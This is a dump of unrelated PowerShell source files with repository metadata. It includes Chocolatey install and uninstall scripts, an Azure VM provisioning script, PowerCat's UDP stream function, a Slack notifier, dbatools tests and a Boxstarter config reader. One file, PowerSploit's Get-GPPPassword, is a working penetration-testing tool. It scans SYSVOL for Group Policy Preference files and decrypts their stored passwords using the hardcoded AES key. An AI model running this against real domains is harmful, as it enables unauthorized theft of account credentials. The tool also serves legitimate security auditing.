Get-EnvironmentVariable .LINK Set-EnvironmentVariable .LINK Get-ToolsLocation #> param( [parameter(Mandatory=$true, Position=0)][string] $pathToInstall, [parameter(Mandatory=$false, Position=1)][System.EnvironmentVariableTarget] $pathType = [System.EnvironmentVariableTarget]::User, [parameter(ValueFromRemainingArguments = $true)][Object[]] $ignoredArguments ) Write-FunctionCallLogMessage -Invocation $MyInvocation -Parameters $PSBoundParameters ## Called from chocolateysetup.psm1 - wrap any Write-Host in try/catch $originalPathToInstall = $pathToInstall #get the PATH variable Update-SessionEnvironment $envPath = $env:PATH if (!$envPath.ToLower().Contains($pathToInstall.ToLower())) { try { Write-Host "PATH environment variable does not have $pathToInstall in it. Adding..." } catch { Write-Verbose "PATH environment variable does not have $pathToInstall in it. Adding..." } $actualPath = Get-EnvironmentVariable -Name 'Path' -Scope $pathType -PreserveVariables $statementTerminator = ";" #does the path end in ';'? $hasStatementTerminator = $actualPath -ne $null -and $actualPath.EndsWith($statementTerminator) # if the last digit is not ;, then we are adding it If (!$hasStatementTerminator -and $actualPath -ne $null) {$pathToInstall = $statementTerminator + $pathToInstall} if (!$pathToInstall.EndsWith($statementTerminator)) {$pathToInstall = $pathToInstall + $statementTerminator} $actualPath = $actualPath + $pathToInstall if ($pathType -eq [System.EnvironmentVariableTarget]::Machine) { if (Test-ProcessAdminRights) { Set-EnvironmentVariable -Name 'Path' -Value $actualPath -Scope $pathType } else { $psArgs = "Install-ChocolateyPath -pathToInstall `'$originalPathToInstall`' -pathType `'$pathType`'" Start-ChocolateyProcessAsAdmin "$psArgs" } } else { Set-EnvironmentVariable -Name 'Path' -Value $actualPath -Scope $pathType } #add it to the local path as well so users will be off and running $envPSPath = $env:PATH $env:Path = $envPSPath + $statementTerminator + $pathToInstall } } # [System.Text.RegularExpressions.Regex]::Match($Path,[System.Text.RegularExpressions.Regex]::Escape('locationtoMatch') + '(?>;)?', '', [System.Text.RegularExpressions.RegexOptions]::IgnoreCase)
jberezanski/choco
src/chocolatey.resources/helpers/functions/Install-ChocolateyPath.ps1
PowerShell
apache-2.0
4,334
# IMPORTANT: Before releasing this package, copy/paste the next 2 lines into PowerShell to remove all comments from this file: # $f='c:\path\to\thisFile.ps1' # gc $f | ? {$_ -notmatch "^\s*#"} | % {$_ -replace '(^.*?)\s*?[^``]#.*','$1'} | Out-File $f+".~" -en utf8; mv -fo $f+".~" $f # If this is an MSI, cleaning up comments is all you need. # If this is an exe, change installerType and silentArgs # Auto Uninstaller should be able to detect and handle registry uninstalls (if it is turned on, it is in preview for 0.9.9). $ErrorActionPreference = 'Stop'; # stop on all errors $packageName = 'udpixel' $softwareName = 'udpixel*' #part or all of the Display Name as you see it in Programs and Features. It should be enough to be unique $installerType = 'MSI' #$installerType = 'EXE' $silentArgs = '/qn /norestart' # https://msdn.microsoft.com/en-us/library/aa376931(v=vs.85).aspx $validExitCodes = @(0, 3010, 1605, 1614, 1641) if ($installerType -ne 'MSI') { # The below is somewhat naive and built for EXE installers # Uncomment matching EXE type (sorted by most to least common) #$silentArgs = '/S' # NSIS #$silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' # Inno Setup #$silentArgs = '/s' # InstallShield #$silentArgs = '/s /v"/qn"' # InstallShield with MSI #$silentArgs = '/s' # Wise InstallMaster #$silentArgs = '-s' # Squirrel #$silentArgs = '-q' # Install4j #$silentArgs = '-s -u' # Ghost # Note that some installers, in addition to the silentArgs above, may also need assistance of AHK to achieve silence. #$silentArgs = '' # none; make silent with input macro script like AutoHotKey (AHK) # https://chocolatey.org/packages/autohotkey.portable $validExitCodes = @(0) } $uninstalled = $false $local_key = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' $machine_key = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' $machine_key6432 = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' [array]$key = Get-ItemProperty -Path @($machine_key6432,$machine_key, $local_key) ` -ErrorAction SilentlyContinue ` | ? { $_.DisplayName -like "$softwareName" } if ($key.Count -eq 1) { $key | % { $file = "$($_.UninstallString.Replace('"',''))" if ($installerType -eq 'MSI') { # The Product Code GUID is all that should be passed for MSI, and very # FIRST, because it comes directly after /x, which is already set in the # Uninstall-ChocolateyPackage msiargs (facepalm). $silentArgs = "$($_.PSChildName) $silentArgs" # Don't pass anything for file, it is ignored for msi (facepalm number 2) # Alternatively if you need to pass a path to an msi, determine that and # use it instead of the above in silentArgs, still very first $file = '' } Uninstall-ChocolateyPackage -PackageName $packageName ` -FileType $installerType ` -SilentArgs "$silentArgs" ` -ValidExitCodes $validExitCodes ` -File "$file" } } elseif ($key.Count -eq 0) { Write-Warning "$packageName has already been uninstalled by other means." } elseif ($key.Count -gt 1) { Write-Warning "$key.Count matches found!" Write-Warning "To prevent accidental data loss, no programs will be uninstalled." Write-Warning "Please alert package maintainer the following keys were matched:" $key | % {Write-Warning "- $_.DisplayName"} } ## OTHER HELPERS ## https://github.com/chocolatey/choco/wiki/HelpersReference #Uninstall-ChocolateyZipPackage $packageName #Uninstall-BinFile # Only needed if you added one in the installer script, choco will remove the ones it added automatically. #remove any shortcuts you added
dtgm/chocolatey-packages
automatic/udpixel.install/tools/chocolateyUninstall.ps1
PowerShell
apache-2.0
3,927
<######################################################################### # # INFIVERVE TECHNOLOGIES PTE LIMITED CONFIDENTIAL # __________________ # # (C) INFIVERVE TECHNOLOGIES PTE LIMITED, SINGAPORE # All Rights Reserved. # Product / Project: Flint IT Automation Platform # NOTICE: All information contained herein is, and remains # the property of INFIVERVE TECHNOLOGIES PTE LIMITED. # The intellectual and technical concepts contained # herein are proprietary to INFIVERVE TECHNOLOGIES PTE LIMITED. # Dissemination of this information or any form of reproduction of this material # is strictly forbidden unless prior written permission is obtained # from INFIVERVE TECHNOLOGIES PTE LIMITED, SINGAPORE. #> # Required variables and inputs to create Linux VM $customresourcegroup=$args[0] $customstoragename=$args[1] $customesubnetname=$args[2] $customvnetname=$args[3] $customnetworksecuritygroup=$args[4] $customnicname=$args[5] $VMusername=$args[6] $VMpassword=$args[7] $customVMname=$args[8] $customVMsize=$args[9] #$osname=$args[10] $publishername=$args[10] $offer=$args[11] $skus=$args[12] $location = "local" $ResourceGroupName = $customresourcegroup $StorageAccountName = $customstoragename $SkuName = "Standard_LRS" # Create a new storage account $StorageAccount = New-AzureRMStorageAccount ` -Location $location ` -ResourceGroupName $ResourceGroupName ` -Type $SkuName ` -Name $StorageAccountName Set-AzureRmCurrentStorageAccount ` -StorageAccountName $storageAccountName ` -ResourceGroupName $resourceGroupName # Create a storage container to store the virtual machine image $containerName = "osdisks-$(Get-Random)" $container = New-AzureStorageContainer ` -Name $containerName ` -Permission Blob # Create a subnet configuration $subnetConfig = New-AzureRmVirtualNetworkSubnetConfig ` -Name $customesubnetname ` -AddressPrefix 192.168.1.0/24 # Create a virtual network $vnet = New-AzureRmVirtualNetwork ` -ResourceGroupName $ResourceGroupName ` -Location $location ` -Name $customvnetname ` -AddressPrefix 192.168.0.0/16 ` -Subnet $subnetConfig # Create a public IP address and specify a DNS name $pip = New-AzureRmPublicIpAddress ` -ResourceGroupName $ResourceGroupName ` -Location $location ` -AllocationMethod Static ` -IdleTimeoutInMinutes 4 ` -Name "publicdns$(Get-Random)" # Create a network security group $nsg = New-AzureRmNetworkSecurityGroup ` -ResourceGroupName $ResourceGroupName ` -Location $location ` -Name $customnetworksecuritygroup ` # Create a virtual network card and associate it with public IP address and NSG $nic = New-AzureRmNetworkInterface ` -Name $customnicname ` -ResourceGroupName $ResourceGroupName ` -Location $location ` -SubnetId $vnet.Subnets[0].Id ` -PublicIpAddressId $pip.Id ` -NetworkSecurityGroupId $nsg.Id # Define a credential object to store the username and password for the virtual machine $UserName=$VMusername $Password=$VMpassword| ConvertTo-SecureString -Force -AsPlainText $Credential=New-Object PSCredential($UserName,$Password) # Create the virtual machine configuration object $VmName = $customVMname $VmSize = $customVMsize $VirtualMachine = New-AzureRmVMConfig ` -VMName $VmName ` -VMSize $VmSize $VirtualMachine = Set-AzureRmVMOperatingSystem ` -VM $VirtualMachine ` -Linux ` -ComputerName $customVMname ` -Credential $Credential $VirtualMachine = Set-AzureRmVMSourceImage ` -VM $VirtualMachine ` -PublisherName $publishername ` -Offer $offer ` -Skus $skus ` -Version "latest" $osDiskName = "OsDisk$(Get-Random)" $osDiskUri = '{0}vhds/{1}-{2}.vhd' -f ` $StorageAccount.PrimaryEndpoints.Blob.ToString(),` $vmName.ToLower(), ` $osDiskName # Sets the operating system disk properties on a virtual machine. $VirtualMachine = Set-AzureRmVMOSDisk ` -VM $VirtualMachine ` -Name $osDiskName ` -VhdUri $OsDiskUri ` -CreateOption FromImage | ` Add-AzureRmVMNetworkInterface -Id $nic.Id # Create the virtual machine. New-AzureRmVM ` -ResourceGroupName $ResourceGroupName ` -Location $location ` -VM $VirtualMachine
getflint/fb-cloud
azure-stack/operation/powershell/create_linux_vm.ps1
PowerShell
apache-2.0
4,243
function New-UdpStream { <# Author: Jesse Davis (@secabstraction) License: BSD 3-Clause #> [CmdletBinding(DefaultParameterSetName = 'Client')] Param ( [Parameter(Position = 0, ParameterSetName = 'Client')] [Net.IPAddress]$ServerIp, [Parameter(Position = 0, ParameterSetName = 'Listener')] [Switch]$Listener, [Parameter(Position = 1)] [Int]$Port, [Parameter()] [Int]$BufferSize = 65536, [Parameter()] [Int]$Timeout = 60 ) if ($Listener.IsPresent) { $SocketDestinationBuffer = New-Object Byte[] 65536 $RemoteEndPoint = New-Object Net.IPEndPoint @([Net.IPAddress]::Any, $null) $UdpClient = New-Object Net.Sockets.UDPClient $Port $PacketInfo = New-Object Net.Sockets.IPPacketInformation Write-Verbose "Listening on 0.0.0.0:$Port [udp]" $ConnectResult = $UdpClient.Client.BeginReceiveMessageFrom($SocketDestinationBuffer, 0, 65536, [Net.Sockets.SocketFlags]::None, [ref]$RemoteEndPoint, $null, $null) $Stopwatch = [Diagnostics.Stopwatch]::StartNew() [console]::TreatControlCAsInput = $true do { if ([console]::KeyAvailable) { $Key = [console]::ReadKey($true) if ($Key.Key -eq [Consolekey]::Escape) { Write-Warning "Caught escape sequence, stopping UDP Setup." [console]::TreatControlCAsInput = $false if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } else { $UdpClient.Dispose() } $Stopwatch.Stop() return } } if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { Write-Warning "Timeout exceeded, stopping UDP Setup." [console]::TreatControlCAsInput = $false if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } else { $UdpClient.Dispose() } $Stopwatch.Stop() return } } until ($ConnectResult.IsCompleted) [console]::TreatControlCAsInput = $false $Stopwatch.Stop() $SocketFlags = 0 $SocketBytesRead = $UdpClient.Client.EndReceiveMessageFrom($ConnectResult, [ref]$SocketFlags, [ref]$RemoteEndPoint, [ref]$PacketInfo) $UdpClient.Connect($RemoteEndPoint) if ($SocketBytesRead.Count) { $InitialBytes = $SocketDestinationBuffer[0..($SocketBytesRead - 1)] } Write-Verbose "Connection from $($RemoteEndPoint.ToString()) [udp] accepted." $Properties = @{ UdpClient = $UdpClient Socket = $UdpClient.Client Read = $UdpClient.BeginReceive($null, $null) } $UdpStream = New-Object psobject -Property $Properties } else { # Client $RemoteEndPoint = New-Object Net.IPEndPoint @($ServerIp, $Port) $UdpClient = New-Object Net.Sockets.UDPClient $UdpClient.Connect($RemoteEndPoint) Write-Verbose "Sending UDP data to $($RemoteEndPoint.ToString()).`nMake sure to send some data to the server!" $Properties = @{ UdpClient = $UdpClient Socket = $UdpClient.Client Read = $UdpClient.BeginReceive($null, $null) } $UdpStream = New-Object psobject -Property $Properties } return $InitialBytes, $UdpStream }
secabstraction/PowerCat
Functions/NetworkStreams/New-UdpStream.ps1
PowerShell
bsd-3-clause
3,537
#requires -Version 3.0 #region Info <# Support: https://github.com/jhochwald/NETX/issues #> #endregion Info #region License <# Copyright (c) 2016, Quality Software Ltd. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. By using the Software, you agree to the License, Terms and Conditions above! #> <# This is a third-party Software! The developer of this Software is NOT sponsored by or affiliated with Microsoft Corp (MSFT) or any of its subsidiaries in any way The Software is not supported by Microsoft Corp (MSFT)! More about Quality Software Ltd. http://www.q-soft.co.uk #> #endregion License function global:Send-SlackChat { <# .SYNOPSIS Sends a chat message to a Slack organization .DESCRIPTION The Post-ToSlack cmdlet is used to send a chat message to a Slack channel, group, or person. Slack requires a token to authenticate to an organization within Slack. .PARAMETER Channel Slack Channel to post to .PARAMETER Message Chat message to post .PARAMETER token Slack API token .PARAMETER BotName Optional name for the bot .EXAMPLE PS C:\> Send-SlackChat -channel '#general' -message 'Hello everyone!' -botname 'The Borg' -token '1234567890' Description ----------- This will send a message to the "#General" channel using a specific token 1234567890, and the bot's name will be "The Borg". .EXAMPLE PS C:\> Send-SlackChat -channel '#general' -message 'Hello everyone!' -token '1234567890' Description ----------- This will send a message to the "#General" channel using a specific t oken 1234567890, and the bot's name will be default ("Build Bot"). .NOTES Based on an idea of @ChrisWahl Please note the Name change and the removal of some functions .LINK Info: https://api.slack.com/tokens .LINK API: https://api.slack.com/web .LINK Info: https://api.slack.com/bot-users .LINK NET-Experts http://www.net-experts.net .LINK Support https://github.com/jhochwald/NETX/issues #> param ( [Parameter(Mandatory, Position = 0, HelpMessage = 'Slack Channel to post to')] [ValidateNotNullOrEmpty()] [string]$Channel, [Parameter(Mandatory, Position = 1, HelpMessage = 'Chat message to post')] [ValidateNotNullOrEmpty()] [string]$Message, [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [string]$token, [Parameter(Position = 3)] [Alias('Name')] [string]$BotName = 'Build Bot' ) BEGIN { # Cleanup all variables... Remove-Variable -Name 'uri' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue Remove-Variable -Name 'body' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue Remove-Variable -Name 'myBody' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue } PROCESS { Set-Variable -Name 'uri' -Value $('https://slack.com/api/chat.postMessage') # Build the body as per https://api.slack.com/methods/chat.postMessage # We convert this to JSON then... Set-Variable -Name 'body' -Value $(@{ token = $token channel = $Channel text = $Message username = $BotName parse = 'full' }) # Convert the Body Variable to JSON Check if the Server understands Compression, # could reduce bandwidth Be careful with the Depth Parameter, bigger values means less performance Set-Variable -Name 'myBody' -Value $(ConvertTo-Json -InputObject $body -Depth 2 -Compress:$False) # Method to use for the RESTful Call Set-Variable -Name 'myMethod' -Value $('POST' -as ([string] -as [type])) # Use the API via RESTful call try {(Invoke-RestMethod -Uri $uri -Method $myMethod -Body $body -UserAgent "Mozilla/5.0 (Windows NT; Windows NT 6.1; en-US) NET-Experts WindowsPowerShell Service $CoreVersion" -ErrorAction Stop -WarningAction SilentlyContinue)} catch [System.Exception] { <# Argh! That was an Exception... #> Write-Error -Message "$($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLineNumber)" } catch { # Whoopsie! # That should not happen... Write-Warning -Message "Could not send notification to your Slack $Channel" } finally { # Cleanup all variables... Remove-Variable -Name 'uri' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue Remove-Variable -Name 'body' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue Remove-Variable -Name 'myBody' -Force -Confirm:$False -ErrorAction SilentlyContinue -WarningAction SilentlyContinue } } } # SIG # Begin signature block # MIIfOgYJKoZIhvcNAQcCoIIfKzCCHycCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQU6aeJzhq1k4XoU3Ac9XZlZpsJ # E0qgghnLMIIEFDCCAvygAwIBAgILBAAAAAABL07hUtcwDQYJKoZIhvcNAQEFBQAw # VzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNV # BAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xMTA0 # MTMxMDAwMDBaFw0yODAxMjgxMjAwMDBaMFIxCzAJBgNVBAYTAkJFMRkwFwYDVQQK # ExBHbG9iYWxTaWduIG52LXNhMSgwJgYDVQQDEx9HbG9iYWxTaWduIFRpbWVzdGFt # cGluZyBDQSAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlO9l # +LVXn6BTDTQG6wkft0cYasvwW+T/J6U00feJGr+esc0SQW5m1IGghYtkWkYvmaCN # d7HivFzdItdqZ9C76Mp03otPDbBS5ZBb60cO8eefnAuQZT4XljBFcm05oRc2yrmg # jBtPCBn2gTGtYRakYua0QJ7D/PuV9vu1LpWBmODvxevYAll4d/eq41JrUJEpxfz3 # zZNl0mBhIvIG+zLdFlH6Dv2KMPAXCae78wSuq5DnbN96qfTvxGInX2+ZbTh0qhGL # 2t/HFEzphbLswn1KJo/nVrqm4M+SU4B09APsaLJgvIQgAIMboe60dAXBKY5i0Eex # +vBTzBj5Ljv5cH60JQIDAQABo4HlMIHiMA4GA1UdDwEB/wQEAwIBBjASBgNVHRMB # Af8ECD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OUVx3a/zZv/KIjNnuEqV4m9JornJm4W5O447ahAN # hpgA1MzMnat8nQoE+FHUdgCeo2MUcBwoLnG2ovQ0I1KWuY4yH1MBWbvguCtKxd/K # 5G7j+WJGcXSetWg/Wi5NMBalrvCS0VL9uOe/Uvv0ApZUfCdNW622nYRsuiYaZwEi # +efX6a1LH2b6lP/4lIYKHDnM/LiFs+JxqaIJAnlwjFxzayE/AkoYNazNlRv15712 # tw3Cnt0IIgnXiJpR4ooPTSp9QkjbDu0Wb45KKpLY # SIG # End signature block
jhochwald/NETX
Profile/functions/Send-SlackChat.ps1
PowerShell
bsd-3-clause
17,292
function Get-GPPPassword { <# .SYNOPSIS Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. PowerSploit Function: Get-GPPPassword Author: Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. .EXAMPLE Get-GPPPassword .LINK http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> [CmdletBinding()] Param () #define helper function that decodes and decrypts password function Get-DecryptedCpassword { Param ( [string] $Cpassword ) try { #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))} $Base64Decoded = [Convert]::FromBase64String($Cpassword) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]} } #ensure that machine is domain joined and script is running as a domain account if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not joined to a domain.' } #discover potential files containing passwords ; not complaining in case of denied access to a directory $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml' if ( -not $XMlFiles ) { throw 'No files containing encrypted passwords found.' } foreach ($File in $XMLFiles) { try { $Filename = $File.Name $Filepath = $File.VersionInfo.FileName #put filename in $XmlFile [xml] $Xml = Get-Content ($File) #declare blank variables $Cpassword = '' $UserName = '' $NewName = '' $Changed = '' switch ($Filename) { 'Groups.xml' { $Cpassword = $Xml.Groups.User.Properties.cpassword $UserName = $Xml.Groups.User.Properties.userName $NewName = $Xml.Groups.User.Properties.newName $Changed = $Xml.Groups.User.changed } 'Services.xml' { $Cpassword = $Xml.NTServices.NTService.Properties.cpassword $UserName = $Xml.NTServices.NTService.Properties.accountName $Changed = $Xml.NTServices.NTService.changed } 'Scheduledtasks.xml' { $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword $UserName = $Xml.ScheduledTasks.Task.Properties.runAs $Changed = $Xml.ScheduledTasks.Task.changed } 'DataSources.xml' { $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword $UserName = $Xml.DataSources.DataSource.Properties.username $Changed = $Xml.DataSources.DataSource.changed } } if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword} else {Write-Verbose "No encrypted passwords found in $Filepath"} #Create custom object to output results $ObjectProperties = @{'Password' = $Password; 'UserName' = $UserName; 'Changed' = $Changed; 'NewName' = $NewName 'File' = $Filepath} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Output $ResultsObject } catch {Write-Error $Error[0]} } }
nullbind/PowerSploit
Exfiltration/Get-GPPPassword.ps1
PowerShell
bsd-3-clause
5,263
function InitializeModule { # Fill the build task cache. This makes the module immune to source file deletion once the cache is filled (when building itself). $null = Get-BuildTask -ListAvailable }
indented-automation/BuildTools
Indented.Build/InitializeModule.ps1
PowerShell
mit
205
$CommandName = $MyInvocation.MyCommand.Name.Replace(".Tests.ps1", "") Write-Host -Object "Running $PSCommandpath" -ForegroundColor Cyan . "$PSScriptRoot\constants.ps1" Describe "$CommandName Unit Tests" -Tag 'UnitTests' { Context "Validate parameters" { $paramCount = 6 $defaultParamCount = 11 [object[]]$params = (Get-ChildItem function:\Get-DbaAgentJob).Parameters.Keys $knownParameters = 'SqlInstance', 'SqlCredential', 'Job', 'ExcludeJob', 'NoDisabledJobs', 'EnableException' It "Should contain our specific parameters" { ( (Compare-Object -ReferenceObject $knownParameters -DifferenceObject $params -IncludeEqual | Where-Object SideIndicator -eq "==").Count ) | Should Be $paramCount } It "Should only contain $paramCount parameters" { $params.Count - $defaultParamCount | Should Be $paramCount } } } Describe "$commandname Integration Tests" -Tags "IntegrationTests" { Context "Command gets jobs" { BeforeAll { $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob_disabled -Disabled } AfterAll { $null = Remove-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob, dbatoolsci_testjob_disabled } $results = Get-DbaAgentJob -SqlInstance $script:instance2 | Where-Object {$_.Name -match "dbatoolsci"} It "Should get 2 dbatoolsci jobs" { $results.count | Should Be 2 } $results = Get-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob It "Should get a specific job" { $results.name | Should Be "dbatoolsci_testjob" } } Context "Command gets no disabled jobs" { BeforeAll { $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob_disabled -Disabled } AfterAll { $null = Remove-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob, dbatoolsci_testjob_disabled } $results = Get-DbaAgentJob -SqlInstance $script:instance2 -NoDisabledJobs | Where-Object {$_.Name -match "dbatoolsci"} It "Should return only enabled jobs" { $results.enabled -contains $False | Should Be $False } } Context "Command doesn't get excluded job" { BeforeAll { $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob $null = New-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob_disabled -Disabled } AfterAll { $null = Remove-DbaAgentJob -SqlInstance $script:instance2 -Job dbatoolsci_testjob, dbatoolsci_testjob_disabled } $results = Get-DbaAgentJob -SqlInstance $script:instance2 -ExcludeJob dbatoolsci_testjob | Where-Object {$_.Name -match "dbatoolsci"} It "Should not return excluded job" { $results.name -contains "dbatoolsci_testjob" | Should Be $False } } }
SirCaptainMitch/dbatools
tests/Get-DbaAgentJob.Tests.ps1
PowerShell
mit
3,212
#NOTE: Please remove any commented lines to tidy up prior to releasing the package, including this one $packageName = 'TotalCommander' # arbitrary name for the package, used in messages $installerType = 'EXE' #only one of these two: exe or msi $url = 'https://github.com/calwell/nugetpackages/raw/master/TotalCommander/tcm801x32_64.exe' # download url $url64 = $url # 64bit URL here or just use the same as $url $silentArgs = '' # "/s /S /q /Q /quiet /silent /SILENT /VERYSILENT" # try any of these to get the silent installer #msi is always /quiet $validExitCodes = @(0) #please insert other valid exit codes here, exit codes for ms http://msdn.microsoft.com/en-us/library/aa368542(VS.85).aspx # main helpers - these have error handling tucked into them already # installer, will assert administrative rights Install-ChocolateyPackage "$packageName" "$installerType" "$silentArgs" "$url" "$url64" -validExitCodes $validExitCodes # download and unpack a zip file # Install-ChocolateyZipPackage "$packageName" "$url" "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" "$url64" #try { #error handling is only necessary if you need to do anything in addition to/instead of the main helpers # other helpers - using any of these means you want to uncomment the error handling up top and at bottom. # downloader that the main helpers use to download items #Get-ChocolateyWebFile "$packageName" 'DOWNLOAD_TO_FILE_FULL_PATH' "$url" "$url64" # installer, will assert administrative rights - used by Install-ChocolateyPackage #Install-ChocolateyInstallPackage "$packageName" "$installerType" "$silentArgs" '_FULLFILEPATH_' -validExitCodes $validExitCodes # unzips a file to the specified location - auto overwrites existing content #Get-ChocolateyUnzip "FULL_LOCATION_TO_ZIP.zip" "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" # Runs processes asserting UAC, will assert administrative rights - used by Install-ChocolateyInstallPackage #Start-ChocolateyProcessAsAdmin 'STATEMENTS_TO_RUN' 'Optional_Application_If_Not_PowerShell' -validExitCodes $validExitCodes # add specific folders to the path - any executables found in the chocolatey package folder will already be on the path. This is used in addition to that or for cases when a native installer doesn't add things to the path. #Install-ChocolateyPath 'LOCATION_TO_ADD_TO_PATH' 'User_OR_Machine' # Machine will assert administrative rights # add specific files as shortcuts to the desktop #$target = Join-Path $MyInvocation.MyCommand.Definition "$($packageName).exe" #Install-ChocolateyDesktopLink $target #------- ADDITIONAL SETUP -------# # make sure to uncomment the error handling if you have additional setup to do #$processor = Get-WmiObject Win32_Processor #$is64bit = $processor.AddressWidth -eq 64 # the following is all part of error handling #Write-ChocolateySuccess "$packageName" #} catch { #Write-ChocolateyFailure "$packageName" "$($_.Exception.Message)" #throw #}
dtgm/chocolatey-packages
automatic/_output/totalcommander/8.01/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
3,005
function Get-BoxStarterConfig { <# .SYNOPSIS Retrieves persisted Boxstarter configuration settings. .DESCRIPTION Boxstarter stores configuration data in an xml file in the Boxstarter base directory. The Get-BoxstarterConfig function is a convenience function for reading those settings. .LINK http://boxstarter.org about_boxstarter_chocolatey about_boxstarter_variable_in_chocolatey Set-BoxstarterConfig #> [xml]$configXml = Get-Content (Join-Path $Boxstarter.BaseDir BoxStarter.config) if($configXml.config.LocalRepo -ne $null){ $localRepo=$configXml.config.LocalRepo } else { if($Boxstarter.baseDir){ $localRepo=(Join-Path $Boxstarter.baseDir BuildPackages) } } return @{ LocalRepo=$localRepo; NugetSources=$configXml.config.NugetSources; ChocolateyRepo=$configXml.config.ChocolateyRepo; ChocolateyPackage=$configXml.config.ChocolateyPackage } }
fhchina/boxstarter
Boxstarter.Chocolatey/Get-BoxstarterConfig.ps1
PowerShell
apache-2.0
950
